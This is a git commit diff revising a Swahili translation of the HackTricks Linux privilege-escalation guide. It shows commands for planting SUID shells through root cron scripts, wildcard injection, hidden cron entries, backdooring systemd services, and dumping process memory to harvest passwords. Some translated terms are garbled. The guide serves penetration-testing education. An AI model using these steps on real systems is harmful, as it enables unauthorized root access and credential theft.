mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
Translated ['linux-hardening/privilege-escalation/README.md', 'network-s
This commit is contained in:
parent
33d772fa3a
commit
3e4dd7d72f
7 changed files with 503 additions and 480 deletions
|
@ -49,7 +49,7 @@
|
|||
* [Specific Software/File-Type Tricks](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md)
|
||||
* [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||
* [Browser Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
|
||||
* [Desofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
|
||||
* [Deofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
|
||||
* [Local Cloud Storage](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
|
||||
* [Office file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
|
||||
* [PDF File analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Kupandisha Mamlaka kwenye Linux
|
||||
# Kupandisha Mamlaka kwa Linux
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -7,7 +7,7 @@
|
|||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
@ -18,7 +18,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
### Taarifa za OS
|
||||
|
||||
Hebu tuanze kupata baadhi ya maarifa kuhusu OS inayotumika
|
||||
Hebu tuanze kupata baadhi ya maarifa ya OS inayoendesha
|
||||
```bash
|
||||
(cat /proc/version || uname -a ) 2>/dev/null
|
||||
lsb_release -a 2>/dev/null # old, not by default on many systems
|
||||
|
@ -55,7 +55,7 @@ Vyombo vinavyoweza kusaidia kutafuta udhaifu wa kernel ni:
|
|||
|
||||
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
|
||||
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
|
||||
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (itekelezwe NDANI ya mwathiriwa, huchunguza tu udhaifu kwa kernel 2.x)
|
||||
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (itekelezwe NDANI ya mhanga, huchunguza tu udhaifu kwa kernel 2.x)
|
||||
|
||||
Daima **tafuta toleo la kernel kwenye Google**, labda toleo lako la kernel limeandikwa kwenye baadhi ya udhaifu wa kernel na kisha utahakikisha kuwa udhaifu huu ni halali.
|
||||
|
||||
|
@ -87,7 +87,7 @@ sudo -u#-1 /bin/bash
|
|||
```
|
||||
### Uthibitisho wa saini ya Dmesg umeshindwa
|
||||
|
||||
Angalia **smasher2 box ya HTB** kwa **mfano** wa jinsi hii udhaifu unaweza kutumiwa
|
||||
Angalia **sanduku la smasher2 la HTB** kwa **mfano** wa jinsi hii udhaifu unaweza kutumiwa
|
||||
```bash
|
||||
dmesg 2>/dev/null | grep "signature"
|
||||
```
|
||||
|
@ -114,9 +114,7 @@ fi
|
|||
```
|
||||
### Grsecurity
|
||||
|
||||
### Grsecurity
|
||||
|
||||
Grsecurity ni mchanganyiko wa patches za kernel ambazo zinalenga kuboresha usalama wa mfumo wa Linux. Patches hizi zinajumuisha vipengele vya usalama kama vile RBAC (Role-Based Access Control), mipangilio ya kuzuia uharibifu wa kernel, na kinga dhidi ya privilege escalation. Kwa kufanya hivyo, Grsecurity inaweza kusaidia kuzuia mashambulizi ya privilege escalation kwenye mifumo ya Linux.
|
||||
Grsecurity ni mchanganyiko wa patches za kernel ambazo zinalenga kuboresha usalama wa mfumo wa Linux. Patches hizi zinajumuisha vipengele vya kuzuia upenyezaji wa mizizi na kudhibiti ufikiaji wa faili. Kwa kufanya hivyo, Grsecurity inaweza kusaidia kuzuia mbinu za kupandisha viwango vya mamlaka kwenye mfumo wa Linux.
|
||||
```bash
|
||||
((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")
|
||||
```
|
||||
|
@ -126,7 +124,7 @@ Grsecurity ni mchanganyiko wa patches za kernel ambazo zinalenga kuboresha usala
|
|||
```
|
||||
### Execshield
|
||||
|
||||
### Kinga ya Utekelezaji
|
||||
### Kizuizi cha Utekelezaji
|
||||
```bash
|
||||
(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")
|
||||
```
|
||||
|
@ -134,13 +132,13 @@ Grsecurity ni mchanganyiko wa patches za kernel ambazo zinalenga kuboresha usala
|
|||
|
||||
### SElinux
|
||||
|
||||
SElinux ni mfumo wa usalama wa kina wa Linux ambao unaweza kuzuia au kudhibiti upatikanaji wa rasilimali kulingana na sera zilizowekwa.
|
||||
### SElinux
|
||||
```bash
|
||||
(sestatus 2>/dev/null || echo "Not found sestatus")
|
||||
```
|
||||
### ASLR
|
||||
|
||||
ASLR (Address Space Layout Randomization) ni mbinu inayotumiwa katika ulinzi wa usalama wa mfumo wa uendeshaji kwa kubadilisha mahali ambapo sehemu muhimu za kumbukumbu zinawekwa. Hii inafanya iwe ngumu kwa wadukuzi kutabiri mahali pa sehemu za kumbukumbu muhimu, kama vile stack, heap, au code, na hivyo kuzuia mashambulizi ya kimantiki ya kumbukumbu.
|
||||
ASLR (Address Space Layout Randomization) ni mbinu inayotumiwa katika ulinzi wa usalama wa mfumo wa uendeshaji ambayo hufanya iwe ngumu kwa wadukuzi kutabiri mahali ya sehemu muhimu za kumbukumbu.
|
||||
```bash
|
||||
cat /proc/sys/kernel/randomize_va_space 2>/dev/null
|
||||
#If 0, not enabled
|
||||
|
@ -168,14 +166,14 @@ Panga programu muhimu
|
|||
```bash
|
||||
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
|
||||
```
|
||||
Pia, angalia ikiwa **compiler yoyote imewekwa**. Hii ni muhimu ikiwa unahitaji kutumia baadhi ya mbinu za kernel kama ilivyo kupendekezwa kuiweka katika mashine ambayo utaitumia (au moja kama hiyo)
|
||||
Pia, angalia ikiwa **compiler yoyote imefungwa**. Hii ni muhimu ikiwa unahitaji kutumia baadhi ya mbinu za kernel kama inavyopendekezwa kuzikusanya kwenye mashine ambayo utaitumia (au kwenye moja kama hiyo)
|
||||
```bash
|
||||
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
|
||||
```
|
||||
### Programu Zenye Ufa Zilizosakinishwa
|
||||
### Programu Zenye Madoa Zilizosakinishwa
|
||||
|
||||
Angalia **toleo la pakiti na huduma zilizosakinishwa**. Labda kuna toleo la zamani la Nagios (kwa mfano) ambalo linaweza kutumika kwa kufanya uwezekano wa kupata mamlaka zaidi...\
|
||||
Inapendekezwa kuangalia kwa mkono toleo la programu iliyosakinishwa ambayo inaonekana kuwa ya shaka zaidi.
|
||||
Angalia **toleo la pakiti na huduma zilizosakinishwa**. Labda kuna toleo la zamani la Nagios (kwa mfano) ambalo linaweza kutumika kwa kufanya madoa ya mamlaka...\
|
||||
Inapendekezwa kuangalia kwa mkono toleo la programu iliyosakinishwa inayoonekana kuwa ya shaka zaidi.
|
||||
```bash
|
||||
dpkg -l #Debian
|
||||
rpm -qa #Centos
|
||||
|
@ -183,7 +181,7 @@ rpm -qa #Centos
|
|||
Ikiwa una ufikiaji wa SSH kwenye mashine unaweza pia kutumia **openVAS** kuchunguza programu iliyopitwa na wakati na inayoweza kudhuriwa iliyosakinishwa kwenye mashine.
|
||||
|
||||
{% hint style="info" %}
|
||||
_Tafadhali kumbuka kuwa amri hizi zitaonyesha habari nyingi ambazo kwa kiasi kikubwa hazitakuwa na maana, kwa hivyo inapendekezwa kutumia programu kama OpenVAS au sawa nayo itakayochunguza ikiwa toleo lolote la programu iliyosakinishwa linaweza kudhuriwa na mashambulizi yanayojulikana_
|
||||
_Taarifa kwamba amri hizi zitaonyesha habari nyingi ambazo kwa kiasi kikubwa hazitakuwa na maana, kwa hivyo inapendekezwa kutumia programu kama OpenVAS au sawa nayo itakayochunguza ikiwa toleo lolote la programu iliyosakinishwa linaweza kudhuriwa na mashambulizi yanayojulikana_
|
||||
{% endhint %}
|
||||
|
||||
## Mchakato
|
||||
|
@ -194,25 +192,25 @@ ps aux
|
|||
ps -ef
|
||||
top -n 1
|
||||
```
|
||||
Hakikisha **kila wakati kuna uwezekano wa kuwa na [**debuggers za electron/cef/chromium** zikifanya kazi, unaweza kuzitumia kwa kujipandisha viwango vya ruhusa](electron-cef-chromium-debugger-abuse.md)**. **Linpeas** huchunguza hizi kwa kuangalia parameter ya `--inspect` ndani ya mstari wa amri ya mchakato.\
|
||||
Pia **angalia ruhusa zako kwenye binaries za michakato**, labda unaweza kuzibadilisha.
|
||||
Hakikisha kila wakati kuna [**wadukuzi wa electron/cef/chromium** wanaofanya kazi, unaweza kuitumia kwa kujiongezea mamlaka](electron-cef-chromium-debugger-abuse.md). **Linpeas** huchunguza hivyo kwa kuangalia parameter ya `--inspect` ndani ya mstari wa amri ya mchakato.
|
||||
Pia **angalia mamlaka yako juu ya binaries za michakato**, labda unaweza kubadilisha faili ya mtu mwingine.
|
||||
|
||||
### Ufuatiliaji wa Mchakato
|
||||
|
||||
Unaweza kutumia zana kama [**pspy**](https://github.com/DominicBreuker/pspy) kufuatilia michakato. Hii inaweza kuwa na manufaa sana kwa kutambua michakato dhaifu inayotekelezwa mara kwa mara au wakati seti fulani ya mahitaji inakidhiwa.
|
||||
Unaweza kutumia zana kama [**pspy**](https://github.com/DominicBreuker/pspy) kufuatilia michakato. Hii inaweza kuwa muhimu sana kwa kutambua michakato inayoweza kuwa na mapungufu inayotekelezwa mara kwa mara au wakati seti ya mahitaji inakidhiwa.
|
||||
|
||||
### Kumbukumbu ya Mchakato
|
||||
|
||||
Baadhi ya huduma za seva huihifadhi **vitambulisho kwa maandishi wazi ndani ya kumbukumbu**.\
|
||||
Kawaida utahitaji **ruhusa ya mizizi** kusoma kumbukumbu ya michakato inayomilikiwa na watumiaji wengine, kwa hivyo hii kawaida ni muhimu zaidi unapokuwa tayari na ruhusa ya mizizi na unataka kugundua vitambulisho zaidi.\
|
||||
Baadhi ya huduma za seva hifadhi **vitambulisho kwa maandishi wazi ndani ya kumbukumbu**.
|
||||
Kawaida utahitaji **mamlaka ya mzizi** kusoma kumbukumbu ya michakato inayomilikiwa na watumiaji wengine, kwa hivyo hii kawaida ni muhimu zaidi wakati tayari umepata mamlaka ya mzizi na unataka kugundua vitambulisho zaidi.
|
||||
Hata hivyo, kumbuka kwamba **kama mtumiaji wa kawaida unaweza kusoma kumbukumbu ya michakato unayomiliki**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Tambua kwamba siku hizi **zaidi ya mashine haziruhusu ptrace kwa chaguo-msingi** ambayo inamaanisha huwezi kudump michakato mingine inayomilikiwa na mtumiaji wako asiye na ruhusa.
|
||||
Tambua kwamba siku hizi **mashine nyingi haziruhusu ptrace kwa chaguo-msingi** ambayo inamaanisha huwezi kudump michakato mingine inayomilikiwa na mtumiaji wako asiye na mamlaka.
|
||||
|
||||
Faili _**/proc/sys/kernel/yama/ptrace\_scope**_ inadhibiti upatikanaji wa ptrace:
|
||||
|
||||
* **kernel.yama.ptrace\_scope = 0**: michakato yote inaweza kufuatiliwa, ikiwa tu wana uid sawa. Hii ndiyo njia ya kawaida ya ptracing ilivyofanya kazi.
|
||||
* **kernel.yama.ptrace\_scope = 0**: michakato yote inaweza kufuatiliwa, ikiwa tu zina uid sawa. Hii ndiyo njia ya kawaida ya ptracing ilivyofanya kazi.
|
||||
* **kernel.yama.ptrace\_scope = 1**: mchakato wa mzazi pekee unaweza kufuatiliwa.
|
||||
* **kernel.yama.ptrace\_scope = 2**: Msimamizi pekee anaweza kutumia ptrace, kwani inahitaji uwezo wa CAP\_SYS\_PTRACE.
|
||||
* **kernel.yama.ptrace\_scope = 3**: Hakuna michakato inayoweza kufuatiliwa na ptrace. Mara baada ya kuweka, ni lazima kuzima upya ili kuwezesha kufuatilia tena.
|
||||
|
@ -220,7 +218,7 @@ Faili _**/proc/sys/kernel/yama/ptrace\_scope**_ inadhibiti upatikanaji wa ptrace
|
|||
|
||||
#### GDB
|
||||
|
||||
Ukiwa na ufikiaji wa kumbukumbu ya huduma ya FTP (kwa mfano) unaweza kupata Heap na kutafuta vitambulisho ndani yake.
|
||||
Ikiwa una ufikiaji wa kumbukumbu ya huduma ya FTP (kwa mfano) unaweza kupata Heap na kutafuta ndani ya vitambulisho vyake.
|
||||
```bash
|
||||
gdb -p <FTP_PROCESS_PID>
|
||||
(gdb) info proc mappings
|
||||
|
@ -246,7 +244,7 @@ done
|
|||
|
||||
#### /proc/$pid/maps & /proc/$pid/mem
|
||||
|
||||
Kwa kitambulisho cha mchakato kilichopewa, **ramani inaonyesha jinsi kumbukumbu inavyoendelezwa ndani ya nafasi ya anwani ya kielelezo cha mchakato huo**; pia inaonyesha **ruhusa za kila eneo lililoendelezwa**. Faili ya uongo **inadhihirisha kumbukumbu za mchakato yenyewe**. Kutoka kwa faili za **ramani** tunajua ni **eneo gani la kumbukumbu linaloweza kusomwa** na mapinduzi yao. Tunatumia habari hii kusudi **tutafute ndani ya faili ya uongo na kudondosha maeneo yanayoweza kusomwa yote** kwenye faili.
|
||||
Kwa kitambulisho cha mchakato kilichopewa, **ramani inaonyesha jinsi kumbukumbu inavyoainishwa ndani ya nafasi ya anwani ya kielelezo cha mchakato huo**; pia inaonyesha **ruhusa za kila eneo lililoainishwa**. Faili ya uongo **mem** ina **kumbukumbu yenyewe ya mchakato**. Kutoka kwa faili za **ramani** tunajua ni **eneo gani la kumbukumbu linaloweza kusomwa** na mapinduzi yao. Tunatumia habari hii kutafuta faili ya mem na kudondosha maeneo yanayoweza kusomwa yote kwenye faili.
|
||||
```bash
|
||||
procdump()
|
||||
(
|
||||
|
@ -261,7 +259,7 @@ rm $1*.bin
|
|||
```
|
||||
#### /dev/mem
|
||||
|
||||
`/dev/mem` hutoa ufikiaji kwa **kumbukumbu** ya kimwili ya mfumo, siyo kumbukumbu ya kawaida. Nafasi ya anwani za kumbukumbu ya kawaida ya kernel inaweza kupatikana kwa kutumia /dev/kmem. Kwa kawaida, `/dev/mem` inaweza kusomwa tu na mtumiaji wa **root** na kikundi cha **kmem**.
|
||||
`/dev/mem` hutoa ufikiaji kwa **kumbukumbu ya kimwili** ya mfumo, siyo kumbukumbu ya kawaida. Nafasi ya anwani za kumbukumbu ya kawaida ya kernel inaweza kupatikana kwa kutumia /dev/kmem. Kwa kawaida, `/dev/mem` inaweza kusomwa tu na mtumiaji wa **root** na kikundi cha **kmem**.
|
||||
```
|
||||
strings /dev/mem -n10 | grep -i PASS
|
||||
```
|
||||
|
@ -300,13 +298,13 @@ Kudumpisha kumbukumbu ya mchakato unaweza kutumia:
|
|||
|
||||
* [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
|
||||
* [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Unaweza kuondoa mahitaji ya root kwa mkono na kudumpisha mchakato unaomilikiwa na wewe
|
||||
* Skripti A.5 kutoka [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (inahitaji root)
|
||||
* Skripti A.5 kutoka [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root inahitajika)
|
||||
|
||||
### Sifa kutoka Kumbukumbu ya Mchakato
|
||||
|
||||
#### Mfano wa Kibinafsi
|
||||
|
||||
Ikiwa utagundua kuwa mchakato wa kuthibitisha unafanya kazi:
|
||||
Ukipata kwamba mchakato wa kuthibitisha unafanya kazi:
|
||||
```bash
|
||||
ps -ef | grep "authenticator"
|
||||
root 2027 2025 0 11:46 ? 00:00:00 authenticator
|
||||
|
@ -320,14 +318,14 @@ strings *.dump | grep -i password
|
|||
|
||||
Chombo [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **itakuiba vibali vya maandishi wazi kutoka kumbukumbu** na kutoka kwa **faili fulani maarufu**. Inahitaji mamlaka ya mzizi kufanya kazi vizuri.
|
||||
|
||||
| Kipengele | Jina la Mchakato |
|
||||
| Kipengele | Jina la Mchakato |
|
||||
| ------------------------------------------------- | -------------------- |
|
||||
| Nywila ya GDM (Kali Desktop, Debian Desktop) | gdm-password |
|
||||
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
|
||||
| LightDM (Ubuntu Desktop) | lightdm |
|
||||
| VSFTPd (Mawasiliano ya FTP ya Moja kwa Moja) | vsftpd |
|
||||
| Apache2 (Vikao vya Msingi vya HTTP vya Moja kwa Moja) | apache2 |
|
||||
| OpenSSH (Vikao vya SSH vya Moja kwa Moja - Matumizi ya Sudo) | sshd: |
|
||||
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
|
||||
| LightDM (Ubuntu Desktop) | lightdm |
|
||||
| VSFTPd (Mawasiliano ya FTP ya Moja kwa Moja) | vsftpd |
|
||||
| Apache2 (Vikao vya Uthibitishaji wa Msingi wa HTTP) | apache2 |
|
||||
| OpenSSH (Vikao vya SSH vya Moja kwa Moja - Matumizi ya Sudo) | sshd: |
|
||||
|
||||
#### Tafuta Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
|
||||
```bash
|
||||
|
@ -345,7 +343,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
|
|||
```
|
||||
## Kazi za Kipangilio/Cron
|
||||
|
||||
Angalia kama kuna kazi ya kipangilio inayoweza kuwa na mapungufu. Labda unaweza kutumia script inayotekelezwa na root (vuln ya wildcard? unaweza kuhariri faili ambazo root anatumia? tumia viungo vya alama? tengeneza faili maalum kwenye saraka ambayo root anatumia?).
|
||||
Angalia kama kuna kazi iliyopangwa ambayo ina mapungufu. Labda unaweza kutumia script inayotekelezwa na root (vuln ya wildcard? unaweza kuhariri faili ambazo root anatumia? tumia viungo vya alama? tengeneza faili maalum kwenye saraka ambayo root anatumia?).
|
||||
```bash
|
||||
crontab -l
|
||||
ls -al /etc/cron* /etc/at*
|
||||
|
@ -355,7 +353,7 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul
|
|||
|
||||
Kwa mfano, ndani ya _/etc/crontab_ unaweza kupata PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
|
||||
|
||||
(_Tafadhali kumbuka jinsi mtumiaji "user" ana ruhusa za kuandika juu ya /home/user_)
|
||||
(_Angalia jinsi mtumiaji "user" ana ruhusa za kuandika kwenye /home/user_)
|
||||
|
||||
Ikiwa ndani ya crontab hii mtumiaji wa root anajaribu kutekeleza amri au script bila kuweka njia. Kwa mfano: _\* \* \* \* root overwrite.sh_\
|
||||
Kisha, unaweza kupata shell ya root kwa kutumia:
|
||||
|
@ -366,95 +364,95 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
|
|||
```
|
||||
### Cron kutumia script na wildcard (Wildcard Injection)
|
||||
|
||||
Ikiwa script inatekelezwa na root ina "**\***" ndani ya amri, unaweza kutumia hii kufanya mambo ambayo hayakutarajiwa (kama privesc). Mfano:
|
||||
Ikiwa script inatekelezwa na root ina "**\***" ndani ya amri, unaweza kutumia hii kufanya mambo yasiyotarajiwa (kama privesc). Mfano:
|
||||
```bash
|
||||
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
|
||||
```
|
||||
**Ikiwa kichwa cha panya kinafuatiwa na njia kama** _**/baadhi/ya/njia/\***_ **, sio dhaifu (hata** _**./\***_ **sio).**
|
||||
**Ikiwa kichwa cha mshale kinafuatiwa na njia kama** _**/baadhi/ya/njia/\***_ **, sio dhaifu (hata** _**./\***_ **sio).**
|
||||
|
||||
Soma ukurasa ufuatao kwa mbinu zaidi za kutumia kichwa cha panya:
|
||||
Soma ukurasa ufuatao kwa mbinu zaidi za kutumia mshale:
|
||||
|
||||
{% content-ref url="wildcards-spare-tricks.md" %}
|
||||
[wildcards-spare-tricks.md](wildcards-spare-tricks.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Kuandika upya skripti ya Cron na kiungo cha alama
|
||||
### Kuandika upya skripti ya Cron na symlink
|
||||
|
||||
Ikiwa **unaweza kuhariri skripti ya cron** inayotekelezwa na root, unaweza kupata kabisa kuingia kwa urahisi:
|
||||
Ikiwa **unaweza kuhariri skripti ya cron** inayotekelezwa na root, unaweza kupata kabisa shell:
|
||||
```bash
|
||||
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
|
||||
#Wait until it is executed
|
||||
/tmp/bash -p
|
||||
```
|
||||
Ikiwa script inayotekelezwa na root inatumia **directory ambapo una ufikiaji kamili**, labda itakuwa na manufaa kufuta saraka hiyo na **kuunda kiungo cha saraka kwenda nyingine** inayohudumia script inayodhibitiwa na wewe
|
||||
Ikiwa script inayotekelezwa na root inatumia **directory ambapo una ufikiaji kamili**, labda inaweza kuwa na manufaa kufuta folda hiyo na **kuunda kiungo cha folda kwenda nyingine** inayohudumia script inayodhibitiwa na wewe
|
||||
```bash
|
||||
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
|
||||
```
|
||||
### Kazi za cron mara kwa mara
|
||||
|
||||
Unaweza kufuatilia michakato ili kutafuta michakato inayotekelezwa kila baada ya dakika 1, 2 au 5. Labda unaweza kunufaika nayo na kupandisha mamlaka.
|
||||
Unaweza kufuatilia michakato ili kutafuta michakato inayoendeshwa kila baada ya dakika 1, 2 au 5. Labda unaweza kunufaika nayo na kuboresha mamlaka.
|
||||
|
||||
Kwa mfano, kufuatilia kila **0.1s kwa dakika 1**, **panga kwa amri zilizotekelezwa kidogo** na futa amri ambazo zimetekelezwa zaidi, unaweza kufanya:
|
||||
Kwa mfano, kufuatilia kila baada ya **0.1s kwa dakika 1**, **panga kwa amri zilizoendeshwa kidogo** na futa amri zilizoendeshwa zaidi, unaweza kufanya:
|
||||
```bash
|
||||
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
|
||||
```
|
||||
**Unaweza pia kutumia** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (hii itafuatilia na kuorodhesha kila mchakato unaoanza).
|
||||
**Unaweza pia kutumia** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (hii itachunguza na kuorodhesha kila mchakato unaanza).
|
||||
|
||||
### Majukumu ya cron yasiyoonekana
|
||||
|
||||
Inawezekana kuunda jukumu la cron **kwa kuweka kizuizi cha kurudi nyuma baada ya maoni** (bila herufi ya mstari mpya), na jukumu la cron litafanya kazi. Mfano (zingatia herufi ya kurudi nyuma):
|
||||
Inawezekana kuunda jukumu la cron **kwa kuweka kurudi kwenye mstari baada ya maoni** (bila herufi ya mstari mpya), na jukumu la cron litafanya kazi. Mfano (zingatia herufi ya kurudi kwenye mstari):
|
||||
```bash
|
||||
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
|
||||
```
|
||||
## Huduma
|
||||
|
||||
### Faili za _.service_ Zinazoweza Kuandikwa
|
||||
### Faili za _.service_ zinazoweza Kuandikwa
|
||||
|
||||
Angalia ikiwa unaweza kuandika faili yoyote ya `.service`, ikiwa unaweza, unaweza **kuibadilisha** ili **itekeleze** mlango wako wa nyuma wakati huduma inapoanza, inapoanzishwa upya au inaposimamishwa (labda utahitaji kusubiri hadi mashine ibadilishwe).\
|
||||
Angalia kama unaweza kuandika faili yoyote ya `.service`, ikiwa unaweza, unaweza **kuibadilisha** ili **itekeleze** mlango wako wa nyuma wakati huduma inapoanza, inapoanzishwa upya au inaposimamishwa (labda utahitaji kusubiri hadi mashine ibadilishwe).\
|
||||
Kwa mfano, unda mlango wako wa nyuma ndani ya faili ya .service na **`ExecStart=/tmp/script.sh`**
|
||||
|
||||
### Binaries za Huduma Zinazoweza Kuandikwa
|
||||
|
||||
Kumbuka kwamba ikiwa una **ruhusa ya kuandika juu ya binaries zinazotekelezwa na huduma**, unaweza kuzibadilisha kwa milango ya nyuma ili wakati huduma zinapotekelezwa tena milango ya nyuma itatekelezwa.
|
||||
Kumbuka kwamba ikiwa una **ruhusa ya kuandika juu ya binaries zinazotekelezwa na huduma**, unaweza kuzibadilisha kuwa milango ya nyuma ili wakati huduma zinapotekelezwa tena, milango ya nyuma itatekelezwa.
|
||||
|
||||
### NJIA ya systemd - Njia za Kihesabu
|
||||
### systemd PATH - Njia za Kihesabu
|
||||
|
||||
Unaweza kuona NJIA inayotumiwa na **systemd** na:
|
||||
Unaweza kuona NJIA inayotumiwa na **systemd** kwa:
|
||||
```bash
|
||||
systemctl show-environment
|
||||
```
|
||||
Ikiwa utagundua kwamba unaweza **kuandika** katika folda yoyote kwenye njia unaweza kuweza **kuinua mamlaka**. Unahitaji kutafuta **njia za kihusishi zinazotumiwa kwenye faili za mipangilio ya huduma** kama vile:
|
||||
Ikiwa utagundua kwamba unaweza **kuandika** katika mojawapo ya folda za njia, huenda ukaweza **kuinua mamlaka**. Unahitaji kutafuta **njia za kihusishi zinazotumiwa kwenye faili za mipangilio ya huduma** kama:
|
||||
```bash
|
||||
ExecStart=faraday-server
|
||||
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
|
||||
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
|
||||
```
|
||||
Kisha, tengeneza **faili inayoweza kutekelezwa** yenye **jina sawa na njia ya kibaiolojia ya faili** ndani ya folda ya PATH ya systemd unayoweza kuandika, na wakati huduma inapoombwa kutekeleza hatua ya kuwa na kasoro (**Anza**, **Acha**, **Pakia tena**), **mlango wako wa nyuma utatekelezwa** (watumiaji wasio na ruhusa kawaida hawawezi kuanza/kuacha huduma lakini angalia ikiwa unaweza kutumia `sudo -l`).
|
||||
Kisha, tengeneza **faili inayoweza kutekelezwa** yenye **jina sawa na njia ya kibaiolojia ya faili** ndani ya folda ya PATH ya systemd unayoweza kuandika, na wakati huduma inapoombwa kutekeleza hatua ya hatari (**Anza**, **Acha**, **Pakia tena**), **backdoor yako itatekelezwa** (watumiaji wasio na ruhusa kawaida hawawezi kuanza/kuacha huduma lakini angalia ikiwa unaweza kutumia `sudo -l`).
|
||||
|
||||
**Jifunze zaidi kuhusu huduma kwa kutumia `man systemd.service`.**
|
||||
|
||||
## **Majalizo**
|
||||
## **Majira**
|
||||
|
||||
**Majalizo** ni faili za kitengo za systemd ambazo jina lake linaishia katika `**.timer**` ambazo huendesha faili au matukio ya `**.service**`. **Majalizo** yanaweza kutumika kama mbadala wa cron kwani wana msaada wa kujengwa kwa matukio ya wakati wa kalenda na matukio ya wakati wa monotonic na wanaweza kukimbia kwa njia isiyo ya moja kwa moja.
|
||||
**Majira** ni faili za kitengo za systemd ambazo jina lake linamalizika kwa `**.timer**` ambazo huendesha faili au matukio ya `**.service**`. **Majira** yanaweza kutumika kama mbadala wa cron kwani wana msaada wa kujengwa kwa matukio ya wakati wa kalenda na matukio ya wakati wa monotonic na wanaweza kukimbia kwa njia isiyo ya kusubiri.
|
||||
|
||||
Unaweza kuchanganua majalizo yote kwa:
|
||||
Unaweza kuchambua majira yote kwa:
|
||||
```bash
|
||||
systemctl list-timers --all
|
||||
```
|
||||
### Timers zinazoweza kuandikwa
|
||||
|
||||
Ikiwa unaweza kuhariri timer unaweza kufanya iendelee kutekeleza baadhi ya vitengo vya systemd (kama `.service` au `.target`) zilizopo.
|
